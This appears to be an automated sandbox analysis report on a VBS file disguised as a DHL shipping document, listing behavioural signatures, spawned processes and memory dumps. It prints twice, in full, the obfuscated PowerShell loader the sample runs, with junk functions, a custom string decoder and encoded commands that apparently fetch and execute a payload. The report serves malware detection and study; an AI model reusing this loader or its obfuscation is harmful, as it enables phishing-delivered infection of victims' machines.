Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
17/07/2026, 03:34
General
- Target DHL Shipping Document-2774038374-PDF.vbs
- Size 25KB
- Sample260717-d417msav2m
- SHA256 f01dc226fd5602bc34e89dc712b84d8dc3783ff049d3a1344d698f1cfcb3dacb
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DHL Shipping Document-2774038374-PDF.vbs"1⤵
- Badlisted process makes network request
- Checks computer location settings
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "function Glipzorp { $sdninger = Get-Date; [void]$sdninger };Get-Service | Out-Null;$slusers=48784-48784;Get-Host | Select-Object -First 1 | Out-Null;$underskriveren=-887+6887;function WobblyZonk { $vulgre254 = Get-Random; [void]$vulgre254 };function kvadrilles ($thromboclasis,$antrffendes) {$pjasks = 'nonsense';$helleristningers=beaandedes(@(104,221,205,228,216,177,203,212,213,213,165,220,206,229,150,166,225,212,228,145,104,202,211,230,219,170,207,202,224,205,169,220,142)) ;Stiigs ($helleristningers);$antrffendeslotterne = 'random'}function FloopZib { $notarielt = 'test'; [void]$notarielt };function beaandedes ($smigens) { $gesneriaceous = Get-Process | Select-Object -First 1 | Out-Null;do {[void](Get-Date);$underskriveren=$slusers%5;$smigens[$slusers]-=$smgen[$underskriveren];$vulgre254 = 'zazz';$underskriveren=[char]$smigens[$slusers];$oprrsstiftere+=$underskriveren;$slusers++} while ($smigens[$slusers])$thromboclasisbcers = 'glorp' | Out-Null;$oprrsstiftere}function Stiigs ($genstartede) {[void](Get-Service);&($dukkemagers) $genstartede}Function Swathings ($smigens,$reconstitute=0){$sdninger = 'frob' | Out-Null;$pinioning=beaandedes(@(159,172,212,224,223,169,219,217,207,163,126,175,215,225,214,134,202,216,215,159,120,188,217,228,210,178,208,141,150,220,177,210,204,215,215,183,146));$nonconstraint=@(Stiigs ($pinioning));[void](Get-Date);For($sponsoring=0; $nonconstraint[$sponsoring] -ne $salgsfremmende; $sponsoring++){$nonconstraint[$sponsoring] = kvadrilles $nonconstraint[$sponsoring] $smgen[$sponsoring%5];$notarielt = 'zib'}$cuamuchil=beaandedes(@(113,211,212,219,215,100,196,200,218,202,182,196,194,207,141,178,216,211,213,216,178,220,217,228,202,173,215,217));[void](Get-Host);$jackals=Stiigs ($cuamuchil);if ($reconstitute) { $deaktiverer = 'blap' | Out-Null;Stiigs $jackals}else {;[void](Get-Process);$jackals}$gesneriaceous = 'frob' | Out-Null}$smgen=@(68,105,101,114,105);[void](Get-Date);$dukkemagers=beaandedes @(141,174,189);$rapsfrets='\Afgangshaller.Van';$sdninger = 'quib' | Out-Null;$chabuk=Swathings 'cUdVUkETAAsWBjMaRTw9ZFhVXFl/STIbB3JdXlIRcl1eUhsyU1RHW2pZTFIuIQoOHUZ2WVRCWXVZVFIvLRsAFAY8RlRHW2pZ';$imaginatively=Swathings 'LB0RAhp+RkoWGy0fAFwOKwYCHgxqCgofRjEKWhcRNAYXBlQgBhIcBSsIAVQAIFRUK10AAFcZOgZfERw+Kj82PQIXXF1DDhseLxUMMTYnAj0=';[void](Get-Host);$frontlets=Swathings 'CRodHwV2RzYXGzIMFyokCCExJjlqX0tC';$thromboclasissymmetrierne=Swathings 'Aywx';$thromboclasisbcers = 'glorp' | Out-Null;$antrffendesivalves=Swathings 'ERoAAEQFDgAcHQ==';$realleksikonernes=Swathings 'eg==';[void](Get-Process);Swathings 'YA4JHQslBV8VDCoHAB8aLxsMBActBwIXGzdUQRcHMlMEAhkgCBETQmAbBAIaIhsABho=' 1;Swathings 'YA4JHQslBV8eDCMAChwbIQdYVgApCAIbByUdDAQMKBBLARkoABFaTTYMBB4FIQIWGwIrBwAAByEaTA==' 1;$pjasks = 'nonsense' | Out-Null;$imaginatively=$legionren[0];Swathings 'YA4JHQslBV8TDyIIFwZUCgwSXyYmAwARHWREJh0EZE0DAAYqHQkXHTc=' 1;[void](Get-Date);Swathings 'YA4JHQslBV8BASUbABEbKxkAFlRsPQABHWk5BAYBZE0CFwcqDAgBAjYAExwAKg4AABpt' 1;while (!$sharecroped) {$antrffendeslotterne = 'random' | Out-Null;Swathings 'YA4JHQslBV8mGysKDRsFLQoWQFt0VEEGGzEM' 1;Swathings 'YAgDFAg2HUsdGSEHTVYdLBsKHwsrCgkTGi0aFgsEKQwRAAAhGwsXRWRNDB8IIwALEx0tHwAeEGhJQRQIKBoAWw==' 1;[void](Get-Host);Swathings 'YAgDFAg2HUsBDDA7AAMcIRoROgwlDQAAQWAICwYbIg8AHA0hGgwECCgfAAFFZE0GGggmHA5b' 1;Swathings 'YAgDFAg2HUsBDCoNTVs=' 1;$gesneriaceous = 'frob' | Out-Null;Swathings 'YA4JHQslBV8WADcdFxsLMR0MHQc3AgQcCCgMF09NJQ8DExswRxYGCDAcFlJEIRhFQFl0' 1;if ($distributionskanaler) {[void](Get-Process);Swathings 'HwscBgwfNDhWDigGBxMFfgIKHwQxBwwZDDZUQRMPIggXBkc2DBYCBioaADAGIBA=' 1;Swathings 'NwpFVg4hBwsXBDcCFxsfKgALFQw2GkVWAisECAcHLQIAAElpLAsRBiAACxVJBhARFw==' 1;$vulgre254 = 'zazz' | Out-Null} Swathings 'FwUAFxlsXUw=' 1;[void](Get-Date);Swathings 'YA4JHQslBV8BASUbABEbKxkAFlRsPQABHWk5BAYBZE0CFwcqDAgBAjYAExwAKg4AABpt' 1 ;Swathings 'YA4JHQslBV8aEDQBABwAPggRGwYqVEEVBSsLBB5TNwoJFxsrHQwGACdCTldNKAwCGwYqGwAcRycGEBwd' 1;$notarielt = 'zib' | Out-Null;$imaginatively=$legionren[$hyphenization]}[void](Get-Host);$helluva=143860;$antrffendesortforpagtninger=19916;$deaktiverer = 'blap' | Out-Null;Swathings 'YA4JHQslBV8CGyAADhcaeQ4GUk0jDAscDCkaDgAAMgcMHA4hGxY=' 1;Swathings 'YA4JHQslBV87BycbEBcHMAgJTzIHBgsEDDYdOEhTAhsKHyslGgBEXRcdFxsHI0FBAhsgAA4XGm0=' 1;[void](Get-Process);Swathings 'YA4JHQslBV8TGi8GFxAAKhocAAwwCAceDDAaWCk9IRERXCwqCgoWACoOOEhTBTomOyBqLgAGOjAbDBwObE0sHAo2HAAcHSUFTA==' 1;Swathings 'YA4JHQslBV8fACAeDAQAKg5QRFRgCBYZBjYLDBwaPRsABggmBQAGGmoaEBAaMBsMHA5sTQ0XBSgcExNFYAgLBhsiDwAcDSEaCgAdIgYXAggjHQsbByMMF1s=' 1;$pjasks = 'nonsense' | Out-Null;Stiigs $midwiving56;function BlippoZazz { $gesneriaceous = Get-Random; [void]$gesneriaceous };;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function Glipzorp { $sdninger = Get-Date; [void]$sdninger };Get-Service | Out-Null;$slusers=48784-48784;Get-Host | Select-Object -First 1 | Out-Null;$underskriveren=-887+6887;function WobblyZonk { $vulgre254 = Get-Random; [void]$vulgre254 };function kvadrilles ($thromboclasis,$antrffendes) {$pjasks = 'nonsense';$helleristningers=beaandedes(@(104,221,205,228,216,177,203,212,213,213,165,220,206,229,150,166,225,212,228,145,104,202,211,230,219,170,207,202,224,205,169,220,142)) ;Stiigs ($helleristningers);$antrffendeslotterne = 'random'}function FloopZib { $notarielt = 'test'; [void]$notarielt };function beaandedes ($smigens) { $gesneriaceous = Get-Process | Select-Object -First 1 | Out-Null;do {[void](Get-Date);$underskriveren=$slusers%5;$smigens[$slusers]-=$smgen[$underskriveren];$vulgre254 = 'zazz';$underskriveren=[char]$smigens[$slusers];$oprrsstiftere+=$underskriveren;$slusers++} while ($smigens[$slusers])$thromboclasisbcers = 'glorp' | Out-Null;$oprrsstiftere}function Stiigs ($genstartede) {[void](Get-Service);&($dukkemagers) $genstartede}Function Swathings ($smigens,$reconstitute=0){$sdninger = 'frob' | Out-Null;$pinioning=beaandedes(@(159,172,212,224,223,169,219,217,207,163,126,175,215,225,214,134,202,216,215,159,120,188,217,228,210,178,208,141,150,220,177,210,204,215,215,183,146));$nonconstraint=@(Stiigs ($pinioning));[void](Get-Date);For($sponsoring=0; $nonconstraint[$sponsoring] -ne $salgsfremmende; $sponsoring++){$nonconstraint[$sponsoring] = kvadrilles $nonconstraint[$sponsoring] $smgen[$sponsoring%5];$notarielt = 'zib'}$cuamuchil=beaandedes(@(113,211,212,219,215,100,196,200,218,202,182,196,194,207,141,178,216,211,213,216,178,220,217,228,202,173,215,217));[void](Get-Host);$jackals=Stiigs ($cuamuchil);if ($reconstitute) { $deaktiverer = 'blap' | Out-Null;Stiigs $jackals}else {;[void](Get-Process);$jackals}$gesneriaceous = 'frob' | Out-Null}$smgen=@(68,105,101,114,105);[void](Get-Date);$dukkemagers=beaandedes @(141,174,189);$rapsfrets='\Afgangshaller.Van';$sdninger = 'quib' | Out-Null;$chabuk=Swathings 'cUdVUkETAAsWBjMaRTw9ZFhVXFl/STIbB3JdXlIRcl1eUhsyU1RHW2pZTFIuIQoOHUZ2WVRCWXVZVFIvLRsAFAY8RlRHW2pZ';$imaginatively=Swathings 'LB0RAhp+RkoWGy0fAFwOKwYCHgxqCgofRjEKWhcRNAYXBlQgBhIcBSsIAVQAIFRUK10AAFcZOgZfERw+Kj82PQIXXF1DDhseLxUMMTYnAj0=';[void](Get-Host);$frontlets=Swathings 'CRodHwV2RzYXGzIMFyokCCExJjlqX0tC';$thromboclasissymmetrierne=Swathings 'Aywx';$thromboclasisbcers = 'glorp' | Out-Null;$antrffendesivalves=Swathings 'ERoAAEQFDgAcHQ==';$realleksikonernes=Swathings 'eg==';[void](Get-Process);Swathings 'YA4JHQslBV8VDCoHAB8aLxsMBActBwIXGzdUQRcHMlMEAhkgCBETQmAbBAIaIhsABho=' 1;Swathings 'YA4JHQslBV8eDCMAChwbIQdYVgApCAIbByUdDAQMKBBLARkoABFaTTYMBB4FIQIWGwIrBwAAByEaTA==' 1;$pjasks = 'nonsense' | Out-Null;$imaginatively=$legionren[0];Swathings 'YA4JHQslBV8TDyIIFwZUCgwSXyYmAwARHWREJh0EZE0DAAYqHQkXHTc=' 1;[void](Get-Date);Swathings 'YA4JHQslBV8BASUbABEbKxkAFlRsPQABHWk5BAYBZE0CFwcqDAgBAjYAExwAKg4AABpt' 1;while (!$sharecroped) {$antrffendeslotterne = 'random' | Out-Null;Swathings 'YA4JHQslBV8mGysKDRsFLQoWQFt0VEEGGzEM' 1;Swathings 'YAgDFAg2HUsdGSEHTVYdLBsKHwsrCgkTGi0aFgsEKQwRAAAhGwsXRWRNDB8IIwALEx0tHwAeEGhJQRQIKBoAWw==' 1;[void](Get-Host);Swathings 'YAgDFAg2HUsBDDA7AAMcIRoROgwlDQAAQWAICwYbIg8AHA0hGgwECCgfAAFFZE0GGggmHA5b' 1;Swathings 'YAgDFAg2HUsBDCoNTVs=' 1;$gesneriaceous = 'frob' | Out-Null;Swathings 'YA4JHQslBV8WADcdFxsLMR0MHQc3AgQcCCgMF09NJQ8DExswRxYGCDAcFlJEIRhFQFl0' 1;if ($distributionskanaler) {[void](Get-Process);Swathings 'HwscBgwfNDhWDigGBxMFfgIKHwQxBwwZDDZUQRMPIggXBkc2DBYCBioaADAGIBA=' 1;Swathings 'NwpFVg4hBwsXBDcCFxsfKgALFQw2GkVWAisECAcHLQIAAElpLAsRBiAACxVJBhARFw==' 1;$vulgre254 = 'zazz' | Out-Null} Swathings 'FwUAFxlsXUw=' 1;[void](Get-Date);Swathings 'YA4JHQslBV8BASUbABEbKxkAFlRsPQABHWk5BAYBZE0CFwcqDAgBAjYAExwAKg4AABpt' 1 ;Swathings 'YA4JHQslBV8aEDQBABwAPggRGwYqVEEVBSsLBB5TNwoJFxsrHQwGACdCTldNKAwCGwYqGwAcRycGEBwd' 1;$notarielt = 'zib' | Out-Null;$imaginatively=$legionren[$hyphenization]}[void](Get-Host);$helluva=143860;$antrffendesortforpagtninger=19916;$deaktiverer = 'blap' | Out-Null;Swathings 'YA4JHQslBV8CGyAADhcaeQ4GUk0jDAscDCkaDgAAMgcMHA4hGxY=' 1;Swathings 'YA4JHQslBV87BycbEBcHMAgJTzIHBgsEDDYdOEhTAhsKHyslGgBEXRcdFxsHI0FBAhsgAA4XGm0=' 1;[void](Get-Process);Swathings 'YA4JHQslBV8TGi8GFxAAKhocAAwwCAceDDAaWCk9IRERXCwqCgoWACoOOEhTBTomOyBqLgAGOjAbDBwObE0sHAo2HAAcHSUFTA==' 1;Swathings 'YA4JHQslBV8fACAeDAQAKg5QRFRgCBYZBjYLDBwaPRsABggmBQAGGmoaEBAaMBsMHA5sTQ0XBSgcExNFYAgLBhsiDwAcDSEaCgAdIgYXAggjHQsbByMMF1s=' 1;$pjasks = 'nonsense' | Out-Null;Stiigs $midwiving56;function BlippoZazz { $gesneriaceous = Get-Random; [void]$gesneriaceous };;"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_hwr15cak.c43.ps1
Afgangshaller.Van
memory/2904-36-0x0000000006E80000-0x0000000006F16000-memory.dmp
memory/2904-37-0x00000000063A0000-0x00000000063BA000-memory.dmp
memory/2904-43-0x0000000023BB0000-0x00000000287EA000-memory.dmp
memory/2904-20-0x0000000002510000-0x0000000002546000-memory.dmp
memory/2904-21-0x0000000005110000-0x0000000005738000-memory.dmp
memory/2904-22-0x0000000004F40000-0x0000000004F62000-memory.dmp
memory/2904-23-0x0000000004FE0000-0x0000000005046000-memory.dmp
memory/2904-24-0x0000000005050000-0x00000000050B6000-memory.dmp
memory/2904-32-0x0000000005840000-0x0000000005B94000-memory.dmp
memory/2904-40-0x0000000008100000-0x000000000877A000-memory.dmp
memory/2904-34-0x0000000005E80000-0x0000000005E9E000-memory.dmp
memory/2904-35-0x0000000005EC0000-0x0000000005F0C000-memory.dmp
memory/2904-39-0x00000000074D0000-0x0000000007A74000-memory.dmp
memory/2904-38-0x00000000063F0000-0x0000000006412000-memory.dmp
memory/4952-14-0x00000126F4090000-0x00000126F40A0000-memory.dmp
memory/4952-4-0x00000126F4090000-0x00000126F40A0000-memory.dmp
memory/4952-13-0x00000126F4090000-0x00000126F40A0000-memory.dmp
memory/4952-12-0x00000126F62E0000-0x00000126F6302000-memory.dmp
memory/4952-15-0x00000126F4090000-0x00000126F40A0000-memory.dmp